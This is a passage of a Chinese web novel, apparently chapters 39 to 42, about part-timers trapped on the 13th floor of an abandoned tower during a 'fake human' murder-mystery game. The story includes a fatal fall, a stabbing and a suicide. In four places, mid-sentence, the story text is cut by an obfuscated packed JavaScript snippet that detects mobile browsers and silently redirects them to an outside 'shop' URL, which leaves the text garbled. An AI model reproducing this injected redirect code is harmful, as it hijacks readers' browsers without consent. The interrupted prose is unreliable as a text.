如果在场有第六个人,他可能会继续表演“把你们经理叫出来”的经典戏码。 幻忆师如此想象着,第六个人真来了,她是一位身形和哑巴差不多的女性。 她一进门就道歉:“对不起,来晚了!” 或许是她姿态放得太低,让威士忌误会了什么,威士忌立刻说:“你就是主办方吧?我们要求签劳务合同,然后换个安全的场地测试剧本杀。” “什么主办方?我是翠花。” 白茶小声为自己解释:“我没有要求签合同,我只是不敢走过去。” 翠花顺着白茶的目光看过去,她一脚踩上钢筋:“这有什么不敢的?你跟着我走,别看下面,看我后脑勺,抓紧我的衣服。” 威士忌傻眼了:“不是,你们不觉得这样很危险吗?” “不危险我来做什么灰色兼职?”翠花不以为然。 “我缺钱。”白茶羞愧地说。 白茶跟在翠花身后同手同脚地走过钢筋,荆轲在坑边接应他们,坑对过只剩一个威士忌。 幻忆师以为他会愤怒地转头走人,但他就是梗着脖子一声不吭。 “咱们是不是还差一个人?”翠花问,“我以为自己是来的最晚的。” 其实不差人,因为幻忆师是玩家,她不准备立刻暴露身份:“都过了12点,那个人可能不来了,兼职指南说人不够我替补。” “威士忌......老哥。”荆轲凭感觉判断威士忌比自己年龄大,“要不你先过来,咱开本?说不定玩到最后主办方会来。” 荆轲给递台阶,威士忌顺坡下驴,他迅速通过钢筋,灰溜溜地缀在队伍末尾走进会议室坐下。 他小声对坐在旁边的哑巴说:“你们是不是傻?咱们都撂摊子,逼他和咱签正规合同,说不定还能涨价。” 哑巴根本不理他。 幻忆师好心帮哑巴解释:“她说不了话。” 威士忌恼羞成怒:“去去去,管你什么事?找你领导来和我谈事。” “啊?我的领导?” “那男的不是你领导吗?”威士忌朝荆轲的方向动了动脖子。 幻忆师哭笑不得:“我们都是兼职。” “你是兼职还是正式工管我什么事,你出现在这里代表的就是你们公司的脸面......”威士忌又开始重复他那套车轱辘话。 白茶弱弱地说:“可是,你也是兼职呀。” 所谓人不可貌相,白茶看着毫无攻击性,但他一句话让威士忌停止发表自己的意见。 威士忌愤愤地说:“算了,跟你们这种人说不通。” 翠花打量了一圈会议室的实木柜子:“关于这栋大厦的传闻,你们听说过吗?” “都是些鬼故事。”幻忆师接话。 翠花说:“这个楼层本身也有点古怪,13楼,一般不都标注12A吗?” 标注12A是因为传说13这个数字被诅咒了。 13不吉利是西方流传来的说法,最后的晚餐中犹大背叛了耶稣,他是第13名出席者;瓦尔哈拉圣殿举行宴会时洛基的到来引发不幸,他是第13名宾客。 “害,他们那个女老板闹的。”威士忌找到自己熟悉的领域,又开始发表意见,“当时风头那么紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321732|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,别人都知道跑,就她不跑。” 翠花好奇地问:“什么老板?” “这栋大厦的老板啊!叫、叫什么来着?” “郑海彬。”回答威士忌的竟然是白茶。 威士忌很惊讶:“看不出来,你还挺关注金融圈。” 白茶没回答他的话。 威士忌翘起一条腿,开始滔滔不绝地讲起寰宇的故事:“听说还是个海归女博士,说是博士有钱,谁知道她的钱从哪来的......” 另一边,荆轲从背包里拿出一个笔记本电脑。 “......所以才说妇人之仁,牝鸡司晨。当时不是没机会跑路,要是我早卷钱跑了,钱怎么总在这种人手里?反正她的钱肯定来路不正。” “没有。”白茶否认了,“她家里最早是做肥皂生意的,厂子没搬前就在这里,寰宇大厦算是建在厂房原址。” 白茶说的可是从网上获取不到的内容,幻忆师挑了挑眉,威士忌听起来像是业内人士,他都不知道郑海彬的底细,白茶却如数家珍。 威士忌也意识到不对劲:“小兄弟看着年纪轻轻,知道的够多啊,你和郑老板私交不错吧?郑老板最近有东山再起的意思吗,能不能把我介绍过去?” 威士忌一边说着,一边伸长手臂越过哑巴去够白茶的肩膀。 他还没碰到白茶,手就被哑巴狠狠打掉了。 “啪”的一声脆响回荡在会议室内,威士忌捂着手怒了:“你这娘们什么意思!” 哑巴飞快打字:别碰我 “谁碰你了?我连你长什么样都不知道就碰你?你也太自恋了吧!揭开你那面罩底下说不定是——” “行了!”荆轲打断他。 “大家都是来做兼职的,快按流程把本测完,赶紧回家等钱用。” 威士忌悻悻地闭上嘴,荆轲把一台笔记本放在五个人中间:“大家先玩游戏,玩完再发角色本。” 他们五个坐成一排,中间是哑巴,哑巴旁边是威士忌和白茶,幻忆师与翠花坐在最外侧。 笔记本电脑在哑巴面前,荆轲把鼠标递给她:“规则很简单,投票在两张照片里选一张,不能弃票。” 电脑桌面上有个黑色图标,图标下面写着“伪人测试”几个字。 “恐怖游戏?”白茶往左右看了看,没人回答他的话。 熟悉的轻柔音乐和机械女声再次响起,幻忆师无比庆幸自己提前玩过游戏,她可以用全部精力观察每个人的表现。 测试中的第一组图片大家都选择大小眼忧郁男人,男人问:“为什么选我?” 游戏给出提示:请对准麦克风说明选择原因。 威士忌不耐烦:“因为你丑。” 他们投票一致,顺利地玩到两段长篇科普文字部分。 看完科普翠花评价:“这游戏做的够真实。” 可能是因为六个人围在一起玩伪人测试,大家没有多害怕。 直到游戏开启摄像头,屏幕左上角弹出小窗,把哑巴照在里面。 【检测到您身边有人,请在保持封闭房间仅有一人的状态下开启摄像头。】 “它怎么知道哑巴身边有人?”威士忌腾地一下站起来,“是不是有人在监视我们。” 他抬起头疑神疑鬼地找监控仪器,与此同时,白茶发出尖叫。 “啊啊啊啊——” “你叫什么!” “有、有什么东西钻进摄像头了。”白茶指着屏幕说。 40. 说话很累 幻忆师终于明白,为什么她上学时那些同学玩密室、讲鬼故事都必须带着胆小的一起。 她自己玩伪人测试时,也看见了一个黑影在摄像头小窗前闪过,但没白茶反应大。 白茶尖叫后,威士忌反倒不紧张了,他还要训斥白茶:“游戏而已,叫什么叫!” “你们没看见吗?有东西顺着摄像头过来了。”白茶声音都开始抖。 翠花安慰他:“是游戏特效,没事的。” 翠花帮白茶把电脑往后挪了挪。 大家开始看视频,最后伪人女孩出场时白茶又尖叫一声。 等考试进行到最后一组照片,他们终于产生分歧。 屏幕上是眼睛正常的忧郁男人和没有烧伤的伪人女孩。 白茶已经被吓得六神无主:“两个都是伪人,怎么选?” “要我说就不选了,这不是坑人吗?”威士忌很不爽。 幻忆师说:“可是规则说不能弃票。” 谁都不愿意带头分析一下该选哪个,游戏没给他们太多时间犹豫,柔和的音乐突然变得急促,两张照片缓缓放大。 “快选!选啊!”胆小的白茶先崩溃了。 翠花立刻表态:“我投女孩!” 没等剩下的人投票,哑巴果断点击鼠标选择伪人女孩。 两张照片停止变大,威士忌放松地靠在椅子上:“结束了。” 机械女声温和地说:“以下是本次考试的最后一题,请认真作答。” 威士忌的后背僵住了。 屏幕上是开着摄像头的伪人女孩和他们五个人。 “这真的只是游戏?”白茶像是被吓哭了。 游戏还在坚持不懈地播放语音:“......她将为你带来思念之人。” “你们看见了吗?” 陌生女人的声音突然在他们中间响起,白茶被吓得连尖叫都发不出来。 幻忆师也被吓一跳:“你不是哑巴?” 没错,刚刚问出问题的是坐在正中间的哑巴。 “你装哑巴干什么?”威士忌问。 哑巴不回答他们的问题,她一把将翠花放远的笔记本电脑拉回来,急切地在屏幕上寻找什么。 另外几个人都被她吓到了,躲得远远的。 幻忆师却靠近她:“你看见什么了?” 哑巴俯身凑近屏幕,拿起鼠标胡乱点了几下,游戏没有任何反应,哑巴加快点击频率。 “一周内不不不不不要出门......” 游戏内的机械女声出现卡顿,电脑被她点得快死机了,荆轲赶紧把电脑救出来。 “你到底看见什么了?” 哑巴又变回了哑巴,一言不发地放下手里的鼠标,坐回自己的位置。 白茶在她旁边坐下:“我也看见了,还以为是我太害怕产生了错觉。” 哑巴微微转过头看白茶,白茶像是被鼓舞了:“我看见我去世的大姨,她曾是家里唯一不讨厌我的人。” 被恐惧和思念侵袭,白茶说出这句话后终于哭出声,哑巴再次开口:“我看见的是我爸爸。” 翠花小心地问:“你爸爸也去世了?” 哑巴只点头不说话,白茶哭得更大声了。 威士忌爆发了:“哭什么哭?娘们唧唧的!还有你,为什么装哑巴?” 他的手指近乎怼到哑巴鼻子上,哑巴平静地说:“说话很累。” 幻忆师乐了,哑巴最早在手机上打的字是:我不方便说话,叫我哑巴。 而不是:我说不出话,我是哑巴。 这文字游戏玩得很妙。 “你骗大家还有理了?”威士忌厉声说。 “是。” 威士忌可能从没想过会得到这么理直气壮的回答,他熄了火:“精神病,我不和你计较。” 他催荆轲:“快点进行下一个环节,我不想和精神病一起工作。” 刚才游戏语音播放完,放在桌子上的小箱子就自动开锁了。 荆轲从里面拿出本主持人手册,已经研究了一会。 说是手册,其实是封面和封底夹着的一张薄纸,荆轲从上到下从左到右,反反复复看了很多遍。 虽然隔着面罩和眼镜,幻忆师看不见他的神色,但感觉他紧锁眉头陷入纠结。 离他最近的翠花又催促了一遍,荆轲才缓过神来:“先抽角色。” 他把五张卡片背面朝上排成一个环形:“卡片正面的字有五种颜色,分别是黑红黄蓝绿。五张卡片是一个圆环,只有顺序之分,没有起点也没有终点。” “抽选卡片后看清自己的颜色,卡片不能给别人看,也不要交谈。” 五个人上前抽卡。 荆轲又说:“虽然圆环没有起点,但我们的发言必须有起点。我手里剩下的牌有五种颜色,抽出哪张,哪种颜色第一个发言。” 他精细地洗牌,把牌对准幻忆师:“我洗牌,你抽牌,这样最公平。” 幻忆师抽出一张牌,翻开发现是红色。 荆轲手里空了:“大家手里的牌都印有两句话,以红牌为例,第一句话简称红1,第二句话简称红2。” “按照红黄蓝绿黑的顺序进行两次小剧场演绎,第一个小剧场是红1黄1蓝1绿1黑1,第二个小剧场是红2黄2蓝2绿2黑2。” 所有人围成一圈,第一个小剧场开始。 幻忆师(红):“我是一个‘人’,你可以叫我人。” 白茶(黄):“原谅我,这么奇怪的事情我实在无处可说,但我感觉自己被什么不是人但想成为人的东西盯上了,我暂时叫它伪人。” 哑巴(蓝):“更奇怪的事也不是没有,比如我最近在怀疑自己还是不是人,我可能是个已经成功取代人的伪人。” 威士忌(绿):“我不知道人和伪人有什么区别,但伪人肯定知道自己是伪人,因为想成为人不止把脸变得和人一样这么简单。” 翠花(黑):“什么是伪人?我日复一日过着相同的生活,真有伪人来替代我就好了。” 紧接着进行第二个小剧场。 幻忆师(红):“我是我自己。” 白茶(黄):“总感觉身后有东西在模仿我的一举一动,那天我在小区里碰上一个长相奇怪的人,怪人问我:‘你能给我的长相打分吗?’” 哑巴(蓝):“我最近多了一个照镜子的爱好,尤其喜欢在晚上照,我发现我的脸在镜子里会变形。” 威士忌(绿):“做人很难也很有趣,我找到一个一劳永逸的方法——我让自己忘记我不是人。” 翠花(黑):“一个人,不管是他还是她,他看起来是人,摸上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341072|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是人,说话也是人,那他就是人。” 小剧场结束,荆轲不多做解释,他给大家发下花花绿绿五种颜色的剧本:“看本吧。” 幻忆师翻开剧本的红色封面。 【本次剧本杀的主办方是你刚才做伪人测试时见到的伪人女孩。 她在活动前就替代了你们中的某个人。 你的任务: 1.判断你是伪人还是人。 2.不管你是什么,争取活到最后。】 剧本只有五行字,基本扫一眼就能读完。 站在幻忆师右边的白茶读完后忍不住后退一步,他哆哆嗦嗦地说:“我、我们中有个伪人,而且他不知道自己是伪人。” “只是游戏在制造恐怖氛围。”幻忆师安慰他。 哑巴摇头:“我不觉得是假的,如果是假的,我们刚刚看见的算什么?” 哑巴和白茶都看见了自己的思念之人,和伪人测试里说的一模一样。 威士忌嘲笑他们:“是你们精神压力太大,再被那破游戏一吓,产生幻觉了。咱们也别藏着掖着,大家都是群友,群里有几个精神正常的?” 这话说得没错,一个自杀群,还疑似组织过集体自杀活动,群友十个里九个是举目无亲、一穷二白的社会边缘群体。 十个里剩下的一个是阿律那样的青春期少女,也是最不被人们理解和接纳的。 哑巴的语气毫无波澜:“那你是群里哪个精神不正常的?” “我!”威士忌像是咬到舌头,“你谁啊?我凭什么告诉你?” 另一边,翠花反复阅读剧本,也有点慌了:“什么叫活到最后?难道会死人?” “怎么可能!”威士忌嗤笑,“你也被吓住了?你刚才过钢筋时明明厉害的很。” 借着电脑微弱的光,幻忆师看见威士忌的面罩被汗湿了一大块。 深冬腊月里还会流汗,说明他其实也相信伪人是真的,此时紧张地出冷汗。 威士忌虽然令人讨厌,但他强撑着一副外强中干的样子维持秩序,做的已经足够好。 现在这种情况,最需要的是秩序。无秩序的情况下,本来就想自杀的人心理防线立刻崩塌。 幻忆师帮威士忌说话:“先冷静一点,即使看见了逝去的亲人,也可能是超能力导致的。” 白茶更害怕了:“所以主办方真在我们之间?他用超能力让我看见大姨的鬼魂?” 幻忆师简直头疼,她不明白白茶为什么总能往闹鬼的方向想。 她换种方式安慰白茶:“就算那真是你大姨的魂魄,她那么爱你,怎么会伤害你?” 白茶不哆嗦了,他往前迈了一步,回到大家围成的圆圈内。 翠花慢慢抬头:“即使主办方真在我们之间,他也没法在大家眼皮底下捣乱,我们几个人从现在开始不能分开。” “对,坚持到最后赶紧回家等钱用。”威士忌第一次说了句不讨人厌的话。 所有人一起看向荆轲:“下一个环节是什么?” 荆轲一直没参与他们的话题,他把那本仅有一页的主持人手册翻来复去地看,薄薄的纸张快被他看出一个洞。 他放下手册:“到搜证环节了。” 幻忆师精神一振:“有关于主办方的证据吗?” “有能用来自保的东西。” 41. 我在等凶手 幻忆师和其余四个人被荆轲送到最里面的一间杂物间,他们五人围成一圈,互相监视着。 荆轲让他们在这里等待,等荆轲在原先的会议室里准备好了,挨个喊他们的名字去搜证。 进杂物间前,白茶拉着荆轲到角落里轻声说了两句话,荆轲没做出任何回应,转头走了。 五个人沉默地站成一圈,既不说话,也不玩手机,大家默契地保持高度警惕。 翠花忍不住说:“我们要不聊点什么?” “比如为什么来参加这个危险的兼职?”白茶干巴巴地接话。 哑巴漠然道:“那还是别聊了,都是为了钱,没什么可说的。” 十分钟过去了,荆轲还是没喊人。 威士忌抱怨:“怎么这么慢?” 他微微打开一道门缝:“荆轲,好了没?” 他的声音在寂静的楼层里很突兀,荆轲回答:“马上!再等十分钟。” 威士忌把门关上,防止冷风漏进来。 所有人又相顾无言地等了好几分钟,离门较近的哑巴把门打开,她说:“透透气。” 从会议室的方向传来拖动椅子的声音,幻忆师猜测:“这是要用椅子桌子搭建一个场景吗?” 没人理睬她,她旁边的翠花掏出手机看了眼时间,幻忆师不可避免地看见了翠花的屏保。 屏保上是首律诗: 翠色盈眸处,清风摇曳时。 云深藏古木,烟淡罩幽池。 逢翠似逢春,心随境意驰。 尘虑一时涤,神游万籁熙。 世事纷繁里,此境得几回? 且将浮华抛,长栖翠色间。 幻忆师是个学数学的,她对诗文的了解仅限于上学时要背诵的那些,翠花屏保上这首诗她没听过,不知道是谁写的。 凭借她对古诗文有限的了解,像这种五言的诗都是8句,翠花屏幕上这首却是12句。 怎么多出来4句?幻忆师想不明白,她把诗记下来,准备找懂古诗的人问问。 杂物间外椅子的拖动声持续了三分钟左右,突然传来荆轲惊恐的惨叫: “别过来!啊——” 紧接着是重物坠地的声音和什么东西的撞击声,然后荆轲的声音消失了。 幻忆师打开手电,第一个冲出杂物间。 她身后紧跟着哑巴和威士忌,白茶被翠花拽了一把才跟上。 众人几乎同时跑到会议室前,幻忆师试着推了一把会议室的门。 门没被推开,门后像是有重物,威士忌说:“让开。” 威士忌后退两步,然后助跑冲刺,一下子撞开了门,门后顶着一把沉重的办公椅。 荆轲不在会议室里,威士忌大喊:“荆轲!你在哪!” “别喊了。”幻忆师用手电对准黑漆漆的深坑,“他掉下去了。” 13层楼加上地下车库,总高度在45米左右,也就是说荆轲从45米的高空坠落。 底下还不是平地,每一层的楼面被洞穿后,坍塌的建筑废材掉落到最底部。 虽然小手电筒照不到,但大家都知道底下有具荆轲的尸体。 白茶大脑放空地望着坑里。 “这和说好的不一样!”翠花举起兼职指南,声音里带着哭腔,“我想报警,但突然没信号了。” 威士忌嗖地一下越过坑洞上方的钢筋,向楼梯间方向跑去,幻忆师赶紧追在他后面。 这时没人计较危不危险、有没有保护措施,连白茶都仰着头一路小跑地穿过钢筋。 眼看楼梯间的门越来越近,威士忌不管不顾地撞上去——门没开。 他对着门拳打脚踢,侧身撞击,全都没有效果。 “还是没信号。”翠花继续看手机。 “别看你那破手机了!”威士忌暴怒,拿翠花撒火,“赶紧和我一起破门!” 翠花收起手机,没有反驳,但也没有上去砸门,几个人都站在远处看着威士忌。 “都等着我开门,想不劳而获吗!” “保持体力,别砸了。”幻忆师很冷静,“这是个早被做好的局,杀荆轲、屏蔽信号、封门,对方是有备而来的,我们手无寸铁,打不开门。” 威士忌大跨步走过来,一把提起幻忆师的衣领:“那你说怎么办!” “把我放进坑洞寻找另外的生路,需要你在上面拉我,所以你要冷静下来保持体力。” 威士忌还真冷静下来,哭得打嗝的白茶也憋住声音,不停刷新手机界面的翠花也抬起头。 大家这才发现不对劲。 “哑巴呢?” 他们又狂奔着穿越开放式办公区,回到深坑旁。 幸好哑巴没出事,她坐在坑洞的边缘,两条腿坠在坑里轻轻摇晃。 翠花喊:“哑巴,别坐那儿,太危险了。” 哑巴充耳不闻,大家也都习惯了。 幻忆师问:“为什么不跟我们过去开门?” “我在等凶手。”哑巴坐在地上,仰头看幻忆师,“我感觉凶手没走。” 她的话让所有人都觉得毛骨悚然,十二月的朔风顺着破口的玻璃窗灌进来,更是增添了几分寒意。 白茶声音虚弱:“哑巴姐,别吓我。” 幻忆师没管哑巴,她回到杂物间,翻出刚才看见的一捆电线。 这是一捆裹着黑色绝缘外皮的铜芯软电线,以前可能是用来连接设备的,寰宇破产后被弃置在杂物间里。 电线打开后足足20米,幻忆师把线在自己腰上绕了三圈,将另一头交给威士忌。 威士忌把电线在自己身上绑好,他指天对地发誓:“我掉下去都不会让你掉下去!” 其他人在威士忌前面站定,也拉紧了电线。 幻忆师被一点点地放进深坑,她的手电正好照到13层靠近会议室一侧的坑洞壁,外壁上有两道痕迹。 她刚想仔细观察痕迹,上面放绳子的速度加快了。 “比想象中重。”威士忌咬紧牙关,“我们快速放,你做好准备!” 备字还没落地,幻忆师瞬间失去重力的束缚,她像蹦极一样坠入深坑。 如果不是腰间紧缠的电线快把内脏勒出来,她差点以为上面的人丢弃电线放她自生自灭了。 “电线到头了!”翠花焦急地喊,“荆轲还活着吗?” 威士忌也问:“下面有出口吗?” 幻忆师照到荆轲了,或者说,照到了荆轲的尸体。 他的胸口被一根裸/露在混凝土外的狰狞钢筋穿透,整个人灰扑扑的,早已死去多时。 可惜没见到之前发光的东西,幻忆师飞快照相,然后抬头向上喊:“先把我拉上去!” 喊完这句话的刹那,她眼角的余光闪过去一道昏黄的光芒。 上面的翠花也看见了:“什么东西亮了?” 幻忆师回答:“我照一张看看。” 她举着手机,刚按下照相键,上面拉着她的力道突然松了。 “还照!谁等你照谁傻逼!”威士忌解开自己腰上的电线,“勒死我了。” 翠花怒骂:“你他妈才傻逼!” 失去威士忌这个主力,站的离坑洞最近的翠花差点被拽下去。 “别费力气骂他。”哑巴从牙关里挤出几个字,“用力拉!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“管它为什么发光。”威士忌贪婪地盯着照片上的金杯,“有了它,我的债务能还清,还能......” 他像是陷入了某种妄想中,幻忆师不得不泼冷水:“可能不是纯金的,只是外面镀了层金。” 幻忆师把腰上的电线解开:“现在最重要的是从这里出去,既然是个被做好的局,肯定还有什么我们没发现的线索。” 哑巴翻身坐起来:“大家别互相瞒着了,都是群里的人,我是句号,你们是谁?” “为什么突然要爆马甲?”白茶懵了。 哑巴认真解释:“如果伪人真在我们中间,她顶替的肯定是某个群友,苹果说过,来做兼职的都是群里的人。” 白茶点头:“我明白了,你想用只有群友知道的信息验证谁是伪人,我是群里的黑茶。” 翠花受不了他们:“不是,你们俩真信了剧本上的话,觉得世界上有伪人这种鬼一样的怪物?” 幻忆师真怕他们问她群相关问题,没想到威士忌比她还怕。 威士忌直接怼哑巴:“你脑子有病吧?真信了那什么伪人,你管我是不是群里的人?” 他祸水东引:“而且这个阿任才是嫌疑最大的吧?为什么她的兼职是来当主持人,我们的是来测本?我看她就是伪人。” 幻忆师直接摊牌:“我接到的兼职是来测本,荆轲以为我是主持人,我为了从荆轲那里套话,顺水推舟地认下主持人身份。” 幻忆师把话题扯开:“有一件事我们必须查清楚。” “为什么会议室里没有人,但办公椅从内部抵住门?” 威士忌也想起来一个诡异之处:“我当时听见的是两声巨响,一声是荆轲坠楼的声音,另一声应该是椅子撞门的声音。” “因为凶手没走,他杀完人用椅子抵住门,藏在会议室里。”哑巴的语气像是在说今晚吃了牛肉面。 其余四个人一齐看向她,寂静的13层里针落可闻。 42. 都是伪人 白茶艰难地说:“哑巴姐,你又吓我。” “呵。”威士忌报以冷笑,“神神叨叨的女人。” 翠花沉声问:“我们去检查楼梯间大门时,你坐在坑边看见什么了?” 哑巴不说话,幻忆师直接说:“进去看看就知道了。” 她带头向会议室走去。 会议室里大大小小的柜子全被他们打开,没用多久就听见白茶的干呕声。 “呕——” 一具干尸被白茶翻了出来。 幻忆师蹲下去仔细查看,干尸是名女性,她身上的衣服完好无损,简直像是有人把干尸当做布娃娃,给她穿衣打扮一样。 奇怪的是,诞江市是沿海城市,城市的气候很难导致干尸出现。 幻忆师脑海中闪过一个不可思议的念头——衣服就是干尸生前穿的,干尸是被什么东西瞬间吸光生命力而死。 她被自己奇怪的念头吓一跳,哑巴倚在门口注视他们:“我说过,凶手藏在会议室里。” 威士忌大吼:“是不是你藏的!” 所有人都知道不可能是哑巴藏的,包括问出这个问题的威士忌;所有人心里都在发毛,无法控制地相信伪人的存在。 哑巴疲惫地问:“所以你们都是群里的谁?说实话吧。” 幻忆师毫不犹豫:“我是姗姗来迟。” 正在安慰白茶的翠花说:“我是苹果。” 白茶惊讶地抬头看翠花,然后向旁边挪了两步。 威士忌最后说:“我是David。” 哑巴指着翠花问威士忌:“她的昵称全名是什么?” 威士忌粗声粗气地回答:“苹果啊!还能有什么?” “你果然不是群里的人。”哑巴的语调很平,“从你不断用精神病攻击我,还说群里没有正常人开始,我就觉得你不对劲。” “因为你不知道,进群需要给群主提供安定医院的检测报告,还要承诺不在群里提及任何与病情有关的事情,苹果要把群变成大家最后的避风港。” “我不是David怎么了?”威士忌既恼怒又得意,“David是我同事,让那种精神病拿钱不如我来拿。” 威士忌转身面对幻忆师,急切地寻求同盟: “喂,你不会和她有一样的想法吧?我刚把你从坑里拉上来,是你的救命恩人,真换David那个弱鸡来你早——” 他的颈间被插进一把利刃,未尽的话语卡在喉咙里。 站在他身后的哑巴一言不发地松开刀柄,缓缓后退两步。 威士忌从喉咙里挤出几声咕噜作响的血泡声,然后轰然倒在地上。 幻忆师伸手探了探他的鼻息。 死了。 白茶早已忘记尖叫,他不知何时从翠花身边移到幻忆师身旁,此时正像只鹌鹑一样往后躲。 幻忆师和翠花同时问: “为什么杀他?”这是翠花的声音。 “哪来的刀?”这是幻忆师的声音。 哑巴好像累极了,她仿佛被某种巨大的疲惫腌制入味,再摄去魂魄。 她两只手按在肋骨下方,歇了好一会,才养出一点力气慢慢回答问题: “杀一个伪人哪来的为什么?刀是从盒子里拿的。” 哑巴支撑着自己站起来,其余三人不约而同地后退一步。 幻忆师窜到盒子边,只找到一本主持人手册,她把手册塞进荆轲的双肩包里,把包背到自己背上。 翠花恐惧地看着地上的尸体:“比起他,藏刀杀人的你更像伪人。” “好闷啊,要下雨了。”哑巴发出一声长长的叹息。 她一把扯下自己的面罩和眼镜,又咬着沾血的手套将它们脱下来扔掉。 白茶脱口而出:“郑海彬?!” 原来哑巴就是寰宇的总裁郑海彬。 郑海彬的眼角压抑着粘稠的疲劳,漆黑的眼眸里没有一丝光亮,她勉强笑了笑: “你是白家小儿子吧?我见过你。” 白茶小声说:“早就不是了。” “伪人死了,去开门吧。”郑海彬带头走出会议室的门。 剩下三个人远远地缀在她身后,目送她直直向深坑走去。 “郑海彬!”幻忆师近乎尖叫般呼喊她的名字。 疲惫和郑海彬一起坠入深渊。 死一般的寂静弥漫在整个13楼,这里仿佛真的变成了西方神话中的诅咒之地。 谁都没有想到,先打破寂静的是胆小如鼠的白茶,他一把拉起幻忆师的手,疯了一样拔腿就跑。 幻忆师喊:“去哪?刀——” 她灌了一嘴凉风,怎么用力也挣不开白茶的手。 白茶像没头苍蝇一样,带着她在一间间办公室中绕来绕去,最终随便找了一间冲进去。 他关门落锁,用柜子顶住门,整套动作一气呵成。 幻忆师卸下肩上的包,瘫在椅子上喘气,她实在跑不动了。 白茶摘掉眼镜和面罩,主动解释:“姐姐你听我说,威士忌不是伪人。” 他长得很秀气,像是少女漫画里女主那个体弱多病的养成系竹马。 幻忆师深吸一口气:“根本就没有伪人。” “不是。”白茶双手抓住幻忆师的双臂,“外面的翠花才是伪人,她不是苹果,真正的苹果是那具干尸。” “你见过一天一苹果?” “我见过。”白茶的眼睛亮晶晶的,“上个月举行活动时见的,她说没想到我年纪这么小,让我去看病然后上学,放弃那些不好的想法。” 白茶难过极了:“她那天穿的就是尸体身上的衣服,她好像很喜欢这套衣服,才会穿着它寻求解脱,但没想到被伪人盯上了。” 幻忆师没有反驳他,目前没有绝对的证据,她没法让白茶放弃伪人这个概念。 她问白茶:“我可以问你一个问题吗?” 白茶点头:“姐姐你说。” “进杂物间前,你单独和荆轲聊了什么?” 白茶肉眼可见地愣住了,他好一会才回过神:“我以为你要问别的。” “别的什么?” “别的一切,比如郑海彬为什么说我是白家小儿子,比如为什么群里的黑茶是女的,我却是男的。” 幻忆师很疑惑:“这些问题重要吗?你只是你,你是什么性别,你是谁家的孩子都不重要。” 白茶松开她的双臂:“我去单独找荆轲,按照兼职指南上写的,告诉他玩家里多了一个人。因为我知道苹果会来,今晚却没看见她。” “苹果以前找大家做过灰色兼职吗?” “没有。”白茶想了想,“我没被找过,别人我不知道,不过苹果总劝大家好好赚钱然后看病。” 幻忆师把背包打开,包里除了那台笔记本电脑,还有兼职指南、主持人手册和另外一张纸。 荆轲的兼职指南和幻忆师那份一模一样,都是指导玩家参与剧本杀测试。 另一张纸上写着两行红字: 【恭喜你!你是第一个到达的人。 拿上背包假装自己是主持人,事成后你将得到十万奖金,打开电脑查询详细流程。】 主持人手册除了正常的流程指导,只有一句话: 【如果有人独自向你报告玩家中多出一个人,那么这个人是伪人,不要让他/她察觉自己是伪人。】 白茶抗议:“我不是伪人!” 然后他才反应过来:“所以荆轲不是主持人,他也是来测本的兼职者。” 三张纸放在一起,不难推理出荆轲的行动轨迹。 荆轲收到兼职指南和定金后,以测本玩家的身份来到大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368804|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厦,他第一个到达13层,一眼看见地上孤零零的背包和写着红字的纸张。 难以抵抗十倍奖金的诱惑,他背上背包假扮主持人。 幻忆师说:“我看完兼职指南后,一度认为主持人必然是主办方的人。” “我以为主持人是兼职发布者本人,因为指南上多次提到要配合主持人。”白茶表示赞同。 幻忆师回忆着深坑旁他们刚见面的场景:“我们都被荆轲骗了,但这无法解释他为什么把我当成第二个主持人。” 白茶感叹:“他演得也太好了。” 幻忆师摇头:“仔细回忆,他的行为很矛盾。” 白茶茫然地看着幻忆师。 “他知道我是来测本的玩家,却故意用话语引导我冒充主持人,像是要给我安排一个身份,把我和别的玩家区分开。” “安排?”白茶糊里糊涂地重复,“换成我,他怎么安排也没用,我不敢冒充主持人。” “他用主持人手册诱惑我,我就顺着他的话,撒谎说自己是主持人,然后他又说手册锁在盒子了,玩完游戏才能开锁。” 白茶的眼神清澈且愚蠢:“那他为什么给你安排一个主持人身份?” 幻忆师沉默了一会,不甘心地承认:“我不知道。” “我的直觉告诉我荆轲不对劲,但我分析不出他的动机,于是我的理智告诉我的直觉:你想得太多了。” 白茶猜测:“可能是为了隐藏自己的身份?他一个假主持人容易暴露,加上你更有说服力。” 幻忆师不觉得两个假主持人比一个假主持人好到哪去,但她实在弄不清荆轲的目的。 其实比起荆轲的目的,幻忆师更在意坑洞外壁的那两条痕迹,她决定再去现场看一眼。 